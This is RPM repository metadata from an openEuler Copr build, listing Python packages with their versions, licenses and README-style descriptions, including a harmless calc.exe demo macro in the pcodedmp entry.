  pathlib offers a set of classes to handle filesystem paths.  It offers the
  following advantages over using string objects:
  * No more cumbersome use of os and os.path functions.  Everything can be
    done easily through operators, attribute accesses, and method calls.
  * Embodies the semantics of different path types.  For example, comparing
    Windows paths ignores casing.
  * Well-defined semantics, eliminating any warts or ambiguities (forward vs.
    backward slashes, etc.).


pkgId: 6666cfc48865620b8def67ba1d01ff7d6acf8f8f3eb6202f51bd4d47203c8aeb
name: python-pathspec
arch: src
version: 0.11.1
epoch: 0
release: 1
summary: Utility library for gitignore style pattern matching of file paths.
url: https://pypi.org/project/pathspec/
rpm_license: Mozilla Public License 2.0 (MPL 2.0)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5a4480f3-a109-4356-b885-fad77e4f4c5c
location_href: 00009010-python-pathspec/python-pathspec-0.11.1-1.src.rpm
checksum_type: sha256
description:
  *pathspec* is a utility library for pattern matching of file paths. So
  far this only includes Git's wildmatch pattern matching which itself is
  derived from Rsync's wildmatch. Git uses wildmatch for its `gitignore`_
  files.


pkgId: 8609bb492a9f176ad8eb5821e1fde6bf6a9709128fa6ac3b03a3b7d92c85cb0a
name: python-pathvalidate
arch: src
version: 2.5.2
epoch: 0
release: 1
summary: pathvalidate is a Python library to sanitize/validate a string such as filenames/file-paths/etc.
url: https://github.com/thombashi/pathvalidate
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4c5db28c-fe94-4615-9f0b-423296f3b4aa
location_href: 00010183-python-pathvalidate/python-pathvalidate-2.5.2-1.src.rpm
checksum_type: sha256
description:
  `pathvalidate <https://github.com/thombashi/pathvalidate>`__ is a Python library to sanitize/validate a string such as filenames/file-paths/etc.


pkgId: 81846c3c8351636d277b07616700146b7f342e2d45749c52f9c77662b2a43b8a
name: python-pathy
arch: src
version: 0.10.1
epoch: 0
release: 1
summary: pathlib.Path subclasses for local and cloud bucket storage
url: https://github.com/justindujardin/pathy
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-723a5af3-c443-4589-ad77-13ae39ed1c96
location_href: 00009406-python-pathy/python-pathy-0.10.1-1.src.rpm
checksum_type: sha256
description:
  [![Build](https://github.com/justindujardin/pathy/actions/workflows/python-package.yml/badge.svg)](https://github.com/justindujardin/pathy/actions/workflows/python-package.yml)
  [![codecov](https://codecov.io/gh/justindujardin/pathy/branch/master/graph/badge.svg)](https://codecov.io/gh/justindujardin/pathy)
  [![Pypi version](https://badgen.net/pypi/v/pathy)](https://pypi.org/project/pathy/)
  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/ambv/black)

  Pathy is a python package (_with type annotations_) for working with Cloud Bucket storage providers using a pathlib interface. It provides an easy-to-use API bundled with a CLI app for basic file operations between local files and remote buckets. It enables a smooth developer experience by letting developers work against the local file system during development and only switch over to live APIs for deployment. It also makes converting bucket blobs into local files a snap with optional local file caching.



  You can install `pathy` from pip:

  ```bash
  pip install pathy
  ```

  The package exports the `Pathy` class and utilities for configuring the bucket storage provider to use.

  ```python
  from pathy import Pathy, use_fs

  use_fs()

  Pathy("gs://my_bucket").mkdir(exist_ok=True)

  greeting = Pathy(f"gs://my_bucket/greeting.txt")

  assert not greeting.exists()

  greeting.write_text("Hello World!")

  assert greeting.exists()

  greeting.unlink()

  assert not greeting.exists()
  ```



  The table below details the supported cloud provider APIs.

  | Cloud Service        | Support |       Install Extras       |
  | :------------------- | :-----: | :------------------------: |
  | Google Cloud Storage |   ✅    |  `pip install pathy[gcs]`  |
  | Amazon S3            |   ✅    |  `pip install pathy[s3]`   |
  | Azure                |   ✅    | `pip install pathy[azure]` |



  Google recommends using a JSON credentials file, which you can specify by path:

  ```python
  from google.oauth2 import service_account
  from pathy import set_client_params

  credentials = service_account.Credentials.from_service_account_file("./my-creds.json")
  set_client_params("gs", credentials=credentials)
  ```



  S3 uses a JSON credentials file, which you can specify by path:

  ```python
  from pathy import set_client_params

  set_client_params("s3", key_id="YOUR_ACCESS_KEY_ID", key_secret="YOUR_ACCESS_SECRET")
  ```



  Azure blob storage can be passed a `connection_string`:

  ```python
  from pathy import set_client_params

  set_client_params("azure", connection_string="YOUR_CONNECTION_STRING")
  ```

  or a `BlobServiceClient` instance:

  ```python
  from azure.storage.blob import BlobServiceClient
  from pathy import set_client_params

  service: BlobServiceClient = BlobServiceClient.from_connection_string(
      "YOUR_CONNECTION_STRING"
  )
  set_client_params("azure", service=service)
  ```



  Before Pathy reaches v1.0 the project is not guaranteed to have a consistent API, which means that types and classes may move around or be removed. That said, we try to be predictable when it comes to breaking changes, so the project uses semantic versioning to help users avoid breakage.

  Specifically, new releases increase the `patch` semver component for new features and fixes, and the `minor` component when there are breaking changes. If you don't know much about semver strings, they're usually formatted `{major}.{minor}.{patch}` so increasing the `patch` component means incrementing the last number.

  Consider a few examples:

  | From Version | To Version | Changes are Breaking |
  | :----------: | :--------: | :------------------: |
  |    0.2.0     |   0.2.1    |          No          |
  |    0.3.2     |   0.3.6    |          No          |
  |    0.3.1     |   0.3.17   |          No          |
  |    0.2.2     |   0.3.0    |         Yes          |

  If you are concerned about breaking changes, you can pin the version in your requirements so that it does not go beyond the current semver `minor` component, for example if the current version was `0.1.37`:

  ```
  pathy>=0.1.37,<0.2.0
  ```



  <!-- NOTE: The below code is auto-generated. Update source files to change API documentation. -->
  <!-- AUTO_DOCZ_START -->



  ```python (doc)
  Pathy(self, args, kwargs)
  ```

  Subclass of `pathlib.Path` that works with bucket APIs.



  ```python (doc)
  Pathy.exists(self) -> bool
  ```

  Returns True if the path points to an existing bucket, blob, or prefix.



  ```python (doc)
  Pathy.fluid(
      path_candidate: Union[str, Pathy, BasePath],
  ) -> Union[Pathy, BasePath]
  ```

  Infer either a Pathy or pathlib.Path from an input path or string.

  The returned type is a union of the potential `FluidPath` types and will
  type-check correctly against the minimum overlapping APIs of all the input
  types.

  If you need to use specific implementation details of a type, "narrow" the
  return of this function to the desired type, e.g.

  ```python
  from pathy import FluidPath, Pathy

  fluid_path: FluidPath = Pathy.fluid("gs://my_bucket/foo.txt")

  assert isinstance(fluid_path, Pathy), "must be Pathy"

  assert fluid_path.prefix == "foo.txt/"
  ```



  ```python (doc)
  Pathy.from_bucket(bucket_name: str, scheme: str = 'gs') -> 'Pathy'
  ```

  Initialize a Pathy from a bucket name. This helper adds a trailing slash and
  the appropriate prefix.

  ```python
  from pathy import Pathy

  assert str(Pathy.from_bucket("one")) == "gs://one/"
  assert str(Pathy.from_bucket("two")) == "gs://two/"
  ```



  ```python (doc)
  Pathy.glob(
      self: 'Pathy',
      pattern: str,
  ) -> Generator[Pathy, NoneType, NoneType]
  ```

  Perform a glob match relative to this Pathy instance, yielding all matched
  blobs.



  ```python (doc)
  Pathy.is_dir(self: 'Pathy') -> bool
  ```

  Determine if the path points to a bucket or a prefix of a given blob
  in the bucket.

  Returns True if the path points to a bucket or a blob prefix.
  Returns False if it points to a blob or the path doesn't exist.



  ```python (doc)
  Pathy.is_file(self: 'Pathy') -> bool
  ```

  Determine if the path points to a blob in the bucket.

  Returns True if the path points to a blob.
  Returns False if it points to a bucket or blob prefix, or if the path doesn’t
  exist.



  ```python (doc)
  Pathy.iterdir(
      self: 'Pathy',
  ) -> Generator[Pathy, NoneType, NoneType]
  ```

  Iterate over the blobs found in the given bucket or blob prefix path.



  ```python (doc)
  Pathy.ls(self: 'Pathy') -> Generator[BlobStat, NoneType, NoneType]
  ```

  List blob names with stat information under the given path.

  This is considerably faster than using iterdir if you also need
  the stat information for the enumerated blobs.

  Yields BlobStat objects for each found blob.



  ```python (doc)
  Pathy.mkdir(
      self,
      mode: int = 511,
      parents: bool = False,
      exist_ok: bool = False,
  ) -> None
  ```

  Create a bucket from the given path. Since bucket APIs only have implicit
  folder structures (determined by the existence of a blob with an overlapping
  prefix) this does nothing other than create buckets.

  If parents is False, the bucket will only be created if the path points to
  exactly the bucket and nothing else. If parents is true the bucket will be
  created even if the path points to a specific blob.

  The mode param is ignored.

  Raises FileExistsError if exist_ok is false and the bucket already exists.



  ```python (doc)
  Pathy.open(
      self: 'Pathy',
      mode: str = 'r',
      buffering: int = 8192,
      encoding: Optional[str] = None,
      errors: Optional[str] = None,
      newline: Optional[str] = None,
  ) -> IO[Any]
  ```

  Open the given blob for streaming. This delegates to the `smart_open`
  library that handles large file streaming for a number of bucket API
  providers.



  ```python (doc)
  Pathy.owner(self: 'Pathy') -> Optional[str]
  ```

  Returns the name of the user that owns the bucket or blob
  this path points to. Returns None if the owner is unknown or
  not supported by the bucket API provider.



  ```python (doc)
  Pathy.rename(self: 'Pathy', target: Union[str, pathlib.PurePath]) -> 'Pathy'
  ```

  Rename this path to the given target.

  If the target exists and is a file, it will be replaced silently if the user
  has permission.

  If path is a blob prefix, it will replace all the blobs with the same prefix
  to match the target prefix.



  ```python (doc)
  Pathy.replace(self: 'Pathy', target: Union[str, pathlib.PurePath]) -> 'Pathy'
  ```

  Renames this path to the given target.

  If target points to an existing path, it will be replaced.



  ```python (doc)
  Pathy.resolve(self, strict: bool = False) -> 'Pathy'
  ```

  Resolve the given path to remove any relative path specifiers.

  ```python
  from pathy import Pathy

  path = Pathy("gs://my_bucket/folder/../blob")
  assert path.resolve() == Pathy("gs://my_bucket/blob")
  ```



  ```python (doc)
  Pathy.rglob(
      self: 'Pathy',
      pattern: str,
  ) -> Generator[Pathy, NoneType, NoneType]
  ```

  Perform a recursive glob match relative to this Pathy instance, yielding
  all matched blobs. Imagine adding "\*\*/" before a call to glob.



  ```python (doc)
  Pathy.rmdir(self: 'Pathy') -> None
  ```

  Removes this bucket or blob prefix. It must be empty.



  ```python (doc)
  Pathy.samefile(
      self: 'Pathy',
      other_path: Union[str, bytes, int, pathlib.Path],
  ) -> bool
  ```

  Determine if this path points to the same location as other_path.



  ```python (doc)
  Pathy.stat(self: 'Pathy') -> pathy.BlobStat
  ```

  Returns information about this bucket path.



  ```python (doc)
  Pathy.to_local(
      blob_path: Union[Pathy, str],
      recurse: bool = True,
  ) -> pathlib.Path
  ```

  Download and cache either a blob or a set of blobs matching a prefix.

  The cache is sensitive to the file updated time, and downloads new blobs
  as their updated timestamps change.



  ```python (doc)
  Pathy.touch(self: 'Pathy', mode: int = 438, exist_ok: bool = True) -> None
  ```

  Create a blob at this path.

  If the blob already exists, the function succeeds if exist_ok is true
  (and its modification time is updated to the current time), otherwise
  FileExistsError is raised.



  ```python (doc)
  BlobStat(
      self,
      name: str,
      size: Optional[int],
      last_modified: Optional[int],
  ) -> None
  ```

  Stat for a bucket item



  ```python (doc)
  use_fs(
      root: Optional[str, pathlib.Path, bool] = None,
  ) -> Optional[pathy.BucketClientFS]
  ```

  Use a path in the local file-system to store blobs and buckets.

  This is useful for development and testing situations, and for embedded
  applications.



  ```python (doc)
  get_fs_client() -> Optional[pathy.BucketClientFS]
  ```

  Get the file-system client (or None)



  ```python (doc)
  use_fs_cache(
      root: Optional[str, pathlib.Path, bool] = None,
  ) -> Optional[pathlib.Path]
  ```

  Use a path in the local file-system to cache blobs and buckets.

  This is useful for when you want to avoid fetching large blobs multiple
  times, or need to pass a local file path to a third-party library.



  ```python (doc)
  get_fs_cache() -> Optional[pathlib.Path]
  ```

  Get the folder that holds file-system cached blobs and timestamps.



  ```python (doc)
  set_client_params(scheme: str, kwargs: Any) -> None
  ```

  Specify args to pass when instantiating a service-specific Client
  object. This allows for passing credentials in whatever way your underlying
  client library prefers.



  Pathy command line interface. (v0.5.2)

  **Usage**:

  ```console
  $ [OPTIONS] COMMAND [ARGS]...
  ```

  **Options**:

  - `--install-completion`: Install completion for the current shell.
  - `--show-completion`: Show completion for the current shell, to copy it or customize the installation.
  - `--help`: Show this message and exit.

  **Commands**:

  - `cp`: Copy a blob or folder of blobs from one...
  - `ls`: List the blobs that exist at a given...
  - `mv`: Move a blob or folder of blobs from one path...
  - `rm`: Remove a blob or folder of blobs from a given...



  Copy a blob or folder of blobs from one bucket to another.

  **Usage**:

  ```console
  $ cp [OPTIONS] FROM_LOCATION TO_LOCATION
  ```

  **Arguments**:

  - `FROM_LOCATION`: [required]
  - `TO_LOCATION`: [required]

  **Options**:

  - `--help`: Show this message and exit.



  List the blobs that exist at a given location.

  **Usage**:

  ```console
  $ ls [OPTIONS] LOCATION
  ```

  **Arguments**:

  - `LOCATION`: [required]

  **Options**:

  - `-l, --long`: Print long style entries with updated time and size shown. [default: False]
  - `--help`: Show this message and exit.



  Move a blob or folder of blobs from one path to another.

  **Usage**:

  ```console
  $ mv [OPTIONS] FROM_LOCATION TO_LOCATION
  ```

  **Arguments**:

  - `FROM_LOCATION`: [required]
  - `TO_LOCATION`: [required]

  **Options**:

  - `--help`: Show this message and exit.



  Remove a blob or folder of blobs from a given location.

  **Usage**:

  ```console
  $ rm [OPTIONS] LOCATION
  ```

  **Arguments**:

  - `LOCATION`: [required]

  **Options**:

  - `-r, --recursive`: Recursively remove files and folders. [default: False]
  - `-v, --verbose`: Print removed files and folders. [default: False]
  - `--help`: Show this message and exit.

  <!-- AUTO_DOCZ_END -->



  Pathy is originally based on the [S3Path](https://github.com/liormizr/s3path) project, which provides a Path interface for S3 buckets.


pkgId: 1d64e81d2351754d1a1afaabedb4e8d0bcc0b3f7d071bbfa243b6fcf48668afd
name: python-patiencediff
arch: src
version: 0.2.13
epoch: 0
release: 1
summary: Python implementation of the patiencediff algorithm
url: https://pypi.org/project/patiencediff/
rpm_license: GNU GPLv2 or later
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ea35e835-6a3a-433e-b7a5-18e4220cf251
location_href: 00004506-python-patiencediff/python-patiencediff-0.2.13-1.src.rpm
checksum_type: sha256
description:
  To invoke patiencediff from the command-line::
      python -m patiencediff file_a file_b
  Or from Python:
       >>> import patiencediff


pkgId: 81a8add67f8f8c6694f591140dea3adfae7743b18f912c29f0995814af9152e8
name: python-patiencediff-debuginfo
arch: aarch64
version: 0.2.13
epoch: 0
release: 1
summary: Debug information for package python-patiencediff
url: https://pypi.org/project/patiencediff/
rpm_license: GNU GPLv2 or later
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-ea35e835-6a3a-433e-b7a5-18e4220cf251
rpm_sourcerpm: python-patiencediff-0.2.13-1.src.rpm
location_href: 00004506-python-patiencediff/python-patiencediff-debuginfo-0.2.13-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-patiencediff.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 46cc9a2d423b96478507b78ac05278082ef0001a4cbd196e4d7b05f02ca53ab6
name: python-patiencediff-debugsource
arch: aarch64
version: 0.2.13
epoch: 0
release: 1
summary: Debug sources for package python-patiencediff
url: https://pypi.org/project/patiencediff/
rpm_license: GNU GPLv2 or later
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-ea35e835-6a3a-433e-b7a5-18e4220cf251
rpm_sourcerpm: python-patiencediff-0.2.13-1.src.rpm
location_href: 00004506-python-patiencediff/python-patiencediff-debugsource-0.2.13-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-patiencediff.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 5a8695e5f0371e29d827d23a1a8b2b615c3f565b212f206b8d1b911ae831f3ec
name: python-patool
arch: src
version: 1.12
epoch: 0
release: 1
summary: portable archive file manager
url: http://wummel.github.io/patool/
rpm_license: GPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9e884447-40d7-42b2-be66-05f7f3a4da66
location_href: 00004507-python-patool/python-patool-1.12-1.src.rpm
checksum_type: sha256
description:
  Various archive formats can be created, extracted, tested, listed,
  searched, compared and repacked by patool. The advantage of patool
  is its simplicity in handling archive files without having to remember
  a myriad of programs and options.

  The archive format is determined by the file(1) program and as a
  fallback by the archive file extension.

  patool supports 7z (.7z), ACE (.ace), ADF (.adf), ALZIP (.alz), APE (.ape),
  AR (.a), ARC (.arc), ARJ (.arj), BZIP2 (.bz2),
  CAB (.cab), COMPRESS (.Z), CPIO (.cpio),
  DEB (.deb), DMS (.dms), FLAC (.flac), GZIP (.gz), ISO (.iso), LRZIP (.lrz),
  LZH (.lha, .lzh), LZIP (.lz), LZMA (.lzma), LZOP (.lzo), RPM (.rpm),
  RAR (.rar), RZIP (.rz), SHN (.shn), TAR (.tar), XZ (.xz), ZIP (.zip, .jar),
  ZOO (.zoo) and ZPAQ (.zpaq) formats.
  It relies on helper applications to handle those archive formats
  (for example bzip2 for BZIP2 archives).

  The archive formats TAR, ZIP, BZIP2 and GZIP
  are supported natively and do not require helper applications to be
  installed.


pkgId: 485266809ba5582ecd05467a1be37ebcd9c20894398d1cfd6675db60171eaa8d
name: python-patsy
arch: src
version: 0.5.3
epoch: 0
release: 1
summary: A Python package for describing statistical models and for building design matrices.
url: https://github.com/pydata/patsy
rpm_license: 2-clause BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1b92cc74-41f1-432e-ba79-a555cb3e43e7
location_href: 00004508-python-patsy/python-patsy-0.5.3-1.src.rpm
checksum_type: sha256
description:
  Patsy is a Python library for describing statistical models
  (especially linear models, or models that have a linear component) and
  building design matrices. Patsy brings the convenience of [R](http://www.r-project.org/) "formulas" to Python.
  [![PyPI - Version](https://img.shields.io/pypi/v/patsy.svg)](https://pypi.org/project/spec-classes/)
  ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/patsy.svg)
  ![https://patsy.readthedocs.io/](https://img.shields.io/badge/docs-read%20now-blue.svg)
  ![PyPI - Status](https://img.shields.io/pypi/status/patsy.svg)
  ![https://travis-ci.org/pydata/patsy](https://travis-ci.org/pydata/patsy.png?branch=master)
  ![https://coveralls.io/r/pydata/patsy?branch=master](https://coveralls.io/repos/pydata/patsy/badge.png?branch=master)
  ![https://doi.org/10.5281/zenodo.592075](https://zenodo.org/badge/DOI/10.5281/zenodo.592075.svg)
  - **Documentation:** <https://patsy.readthedocs.io/>
  - **Downloads:** <http://pypi.python.org/pypi/patsy/>
  - **Code and issues:** <https://github.com/pydata/patsy>
  - **Mailing list:** <pydata@googlegroups.com> (<http://groups.google.com/group/pydata>)

    * Python (2.6, 2.7, or 3.3+)
    * six
    * numpy
    * Optional:
      * pytest/pytest-cov: needed to run tests
      * scipy: needed for spline-related functions like ``bs``

    ``pip install patsy`` (or, for traditionalists: ``python setup.py install``)

  2-clause BSD, see LICENSE.txt for details.


pkgId: 5a43e8e16382bd2a7b10fad9b50ac23d4de0e704ae946d4e7a9ac8bab4dd61ba
name: python-paypalrestsdk
arch: src
version: 1.13.1
epoch: 0
release: 1
summary: The PayPal REST SDK provides Python APIs to create, process and manage payments.
url: https://github.com/paypal/PayPal-Python-SDK
rpm_license: PayPal SDK License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-db3efe34-7d06-43b4-9d30-2b2a0347e942
location_href: 00012082-python-paypalrestsdk/python-paypalrestsdk-1.13.1-1.src.rpm
checksum_type: sha256
description:
  The PayPal REST SDK provides Python APIs to create, process and manage payments.

      1. https://github.com/paypal/PayPal-Python-SDK/ - README and Samples
      2. https://developer.paypal.com/webapps/developer/docs/api/ - API Reference


pkgId: b04178e5713590ea4a667c13b2c3908ed7913fafde88b2009577f6cfde192179
name: python-pbkdf2
arch: src
version: 1.3
epoch: 0
release: 1
summary: PKCS#5 v2.0 PBKDF2 Module
url: http://www.dlitz.net/software/python-pbkdf2/
rpm_license: UNKNOWN
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-19bf630c-b6e6-4206-bef2-268bc22e1b96
location_href: 00011061-python-pbkdf2/python-pbkdf2-1.3-1.src.rpm
checksum_type: sha256
description:
  This module implements the password-based key derivation function, PBKDF2, specified in RSA PKCS#5 v2.0.


pkgId: 947ffffcf2958876fb0e464f751b952d8609c8f657c4265c56d35fff441fb7cb
name: python-pcapy
arch: src
version: 0.11.4
epoch: 0
release: 1
summary: Python pcap extension
url: https://github.com/CoreSecurity/pcapy
rpm_license: Apache modified
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-49655f8c-e95d-4153-bc58-a7dc5e6260c5
location_href: 00004510-python-pcapy/python-pcapy-0.11.4-1.src.rpm
checksum_type: sha256
description:
  Pcapy is a Python extension module that enables software written in
  Python to access the routines from the pcap packet capture library.
  From libpcap's documentation: "Libpcap is a system-independent
  interface for user-level packet capture. Libpcap provides a portable
  framework for low-level network monitoring. Applications include
  network statistics collection, security monitoring, network debugging,
  etc."


pkgId: b97c3a97bc9d09400c8ff9830db3812a5c47be8729a3f3e8241b93b4326656c0
name: python-pcodedmp
arch: src
version: 1.2.6
epoch: 0
release: 1
summary: A VBA p-code disassembler
url: https://github.com/bontchev/pcodedmp
rpm_license: GPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7a16dc8d-cdf5-4775-ad34-932fa05a0ac1
location_href: 00004511-python-pcodedmp/python-pcodedmp-1.2.6-1.src.rpm
checksum_type: sha256
description:
  Module streams:
  Macros/VBA/ThisDocument - 1517 bytes
  Line #0:
          FuncDefn (Private Sub Document_Open())
  Line #1:
          LitStr 0x001D "This could have been a virus!"
          Ld vbOKOnly
          Ld vbInformation
          Add
          LitStr 0x0006 "Virus!"
          ArgsCall MsgBox 0x0003
  Line #2:
          LitStr 0x0008 "calc.exe"
          Paren
          ArgsCall Shell 0x0001
  Line #3:
          EndSub
  ```
  For reference, it is the result of compiling the following VBA code:
  ```vba
  Private Sub Document_Open()
      MsgBox "This could have been a virus!", vbOKOnly + vbInformation, "Virus!"
      Shell("calc.exe")
  End Sub
  ```

  - Office 2016 64-bit only: When disassembling variables declared as being of custom type (e.g., `Dim SomeVar As SomeType`), the type (`As SomeType`) is not disassembled.
  - Office 2016 64-bit only: The `Private` property of `Sub`, `Function` and `Property` declarations is not disassembled.
  - Office 2016 64-bit only: The `Declare` part of external function declarations (e.g., `Private Declare PtrSafe Function SomeFunc Lib "SomeLib" Alias "SomeName" () As Long`) is not disassembled.
  - Office 2000 and higher: The type of a subroutine or function argument of type `ParamArray` is not disassembled correctly. For instance, `Sub Foo (ParamArray arg())` will be disassembled as `Sub Foo (arg)`.
  - All versions of Office: The `Alias "SomeName"` part of external function declarations (e.g., `Private Declare PtrSafe Function SomeFunc Lib "SomeLib" Alias "SomeName" () As Long`) is not disassembled.
  - All versions of Office: The `Public` property of custom type definitions (e.g., `Public Type SomeType`) is not disassembled.
  - All versions of Office: The custom type of a subroutine or function argument is not disassembled correctly and `CustomType` is used instead. For instance, `Sub Foo (arg As Bar)` will be disassembled as `Sub Foo (arg As CustomType)`.
  - If the output of the program is sent to a file, instead of to the console (either by using the `-o` option or by redirecting `stdout`), any non-ASCII strings (like module names, texsts used in the macros, etc.) might not be properly encoded.
  I do not have access to 64-bit Office 2016 and the few samples of documents, generated by this version of Office, that I have, have been insufficient for me to figure out where the corresponding information resides. I know where it resides in the other versions of Office, but it has been moved elsewhere in 64-bit Office 2016 and the old algorithms no longer work.

  - Implement support of VBA3 (Excel95).
  - While the script should support documents created by MacOffice, this has not been tested (and you know how well untested code usually works). This should be tested and any bugs related to it should be fixed.
  - I am not an experienced Python programmer and the code is ugly. Somebody more familiar with Python than me should probably rewrite the script and make it look better.

  Version 1.2.6:
  - Changed it not to require the `win_unicode_console` module when it is not available - e.g., when not running on a Windows machine or when running under the PyPy implementation of Python, thanks to [Philippe Lagadec](https://github.com/decalage2).
  Version 1.2.5:
  - Added a sanity check to avoid errors when parsing object declarations
  - The functions that produce output now have the output file (default is `stdout`) as a parameter, for better integration with other tools, thanks to [Philippe Lagadec](https://github.com/decalage2).
  Version 1.2.4:
  - Implemented support for module names with non-ASCII characters in their names. Thanks to [Philippe Lagadec](https://github.com/decalage2) for helping me with that.
  - Fixed a parsing error when disassembling object declarations.
  - Removed some unused variables.
  - Improved the documentation a bit.
  Version 1.2.3:
  - Fixed a few crashes and documented better some disassembly failures.
  - Converted the script into a package that can be installed with ``pip``. Use the command ``pip install pcodedmp``.
  Version 1.2.2:
  - Implemented handling of documents saved in Open XML format (which is the default format of Office 2007 and higher) - `.docm`, `.xlsm`, `.pptm`.
  Version 1.2.1:
  - Now runs under Python 3.x too.
  - Improved support of 64-bit Office documents.
  - Implemented support of some VBA7-specific features (`Friend`, `PtrSafe`, `LongPtr`).
  - Improved the disassembling of `Dim` declarations.
  Version 1.2.0:
  - Disassembling the various declarations (`New`, `Type`, `Dim`, `ReDim`, `Sub`, `Function`, `Property`).
  Version 1.1.0:
  - Storing the opcodes in a more efficient manner.
  - Implemented VBA7 support.
  - Implemented support for documents created by the 64-bit version of Office.
  Version 1.0.0:
  - Initial version.


pkgId: d219cab0ee62948da5b095c6b4391128727ecbdf99e1edbe9b3a763a2e40dd5c
name: python-pdb-attach
arch: src
version: 3.0.0
epoch: 0
release: 1
summary: A python debugger that can attach to running processes.
url: https://github.com/smitchell556/pdb-attach
rpm_license: BSD 3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-40e94097-89c7-498f-a849-9299c2de41b1
location_href: 00013435-python-pdb-attach/python-pdb-attach-3.0.0-1.src.rpm
checksum_type: sha256
description:
  ![Test](https://github.com/smitchell556/pdb-attach/workflows/Test/badge.svg)

  A python debugger that can attach to running processes.

  > :exclamation: pdb-attach does not work on processes where it hasn't been imported and set up. If you just discovered this package and hope to use it on an already running process, you will need to restart the program with pdb-attach listening. Another option is to use `gdb` which can attach to a running python process, more information can be found [here](https://wiki.python.org/moin/DebuggingWithGdb). The catch with using `gdb` is that it doesn't step through the python source code, but instead steps through the C code running the python program. Your mileage may vary with `gdb`.

  This package was made in response to frustration over debugging long running processes. Wouldn't it be nice to just attach pdb to a running python program and see what's going on? Well that's exactly what pdb-attach does.



  ```bash
  $ pip install pdb-attach
  ```





  Supports OSes that implement POSIX only.

  Unfortunately pdb-attach doesn't work on Windows. It's an artifact of the implementation using signals to prompt the remote debugger to accept a socket connection. I would like to support Windows in the future, but because of how Windows handles signals, it will require a different implementation that doesn't rely on signals.

  > :warning: On Windows, pdb-attach is still importable, but `listen` won't do anything. Instead a warning will be raised on import and when `listen` is called.



  Currently supports:

  - 2.7
  - 3.3
  - 3.4
  - 3.5
  - 3.6
  - 3.7
  - 3.8
  - 3.9

  The policy on python version support is to support all active versions of python. For any version that has reached end of life, that version will continue to be supported for the last major release of pdb-attach it was a part of. New major releases of pdb-attach after a python version has been end of lifed may drop support for that version of python.



  > :warning: pdb-attach uses sockets to communicate with the running process where `pdb` is actually being executed. There is always the possibility that a bad actor that has access to your machine can connect to that port before you do. Since `pdb` is an interactive session with the process, this would give them the ability to inspect the source code of the running process, modify state of the running process, and **_run python code as you!_** That is bad and now you've been warned.
  >
  > Having said that, there are a few planned features that can mitigate this problem.
  > 1. Using a secret key known to the running process and the user so that only messages signed with that key will be executed.
  > 1. Modifying `pdb` such that it can only inspect the state of the program and execute the program as-is. Granted a bad actor could still read the source code and the state of the program, but they would not be able to change the state of the program or run arbitrary python code.

  `pdb_attach` must be imported and set up in the python program of interest in order for a user to attach to the running program.

  ```python
  import pdb_attach
  pdb_attach.listen(50000)  # Listen on port 50000.

  def do_stuff():
      ...

  if __name__ == '__main__:
      do_stuff()
  ```

  When the program is running, attach to it by calling `pdb_attach` from the command line with the PID of the program to inspect and the port passed to `pdb_attach.listen()`.

  ```bash
  $ python -m pdb_attach <PID> 50000
  (Pdb)  # Interact with pdb as you normally would
  ```

  When done, entering `detach` at the pdb prompt will detach pdb and the program will continue running from that point.

  ```bash
  (Pdb) detach
  $  # Back at the command line and the original process is still running!
  ```


pkgId: 83699fac2f5542f94bbb19d00ffda1328ae1e6dc091b89ef798051c189fe8739
name: python-pdf2image
arch: src
version: 1.16.3
epoch: 0
release: 1
summary: A wrapper around the pdftoppm and pdftocairo command line tools to convert PDF to a PIL Image list.
url: https://github.com/Belval/pdf2image
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e9372229-0652-46f1-b300-1d524bf695dc
location_href: 00009967-python-pdf2image/python-pdf2image-1.16.3-1.src.rpm
checksum_type: sha256
description:
  [![CircleCI](https://circleci.com/gh/Belval/pdf2image/tree/master.svg?style=svg)](https://circleci.com/gh/Belval/pdf2image/tree/master) [![PyPI version](https://badge.fury.io/py/pdf2image.svg)](https://badge.fury.io/py/pdf2image) [![codecov](https://codecov.io/gh/Belval/pdf2image/branch/master/graph/badge.svg)](https://codecov.io/gh/Belval/pdf2image) [![Downloads](https://pepy.tech/badge/pdf2image/month)](https://pepy.tech/project/pdf2image) [![GitHub CI](https://github.com/Belval/pdf2image/actions/workflows/documentation.yml/badge.svg)](https://belval.github.io/pdf2image)

  A python (3.7+) module that wraps pdftoppm and pdftocairo to convert PDF to a PIL Image object



  `pip install pdf2image`



  Windows users will have to build or download poppler for Windows. I recommend [@oschwartz10612 version](https://github.com/oschwartz10612/poppler-windows/releases/) which is the most up-to-date. You will then have to add the `bin/` folder to [PATH](https://www.architectryan.com/2018/03/17/add-to-the-path-on-windows-10/) or use `poppler_path = r"C:\path\to\poppler-xx\bin" as an argument` in `convert_from_path`.



  Mac users will have to install [poppler](https://poppler.freedesktop.org/).

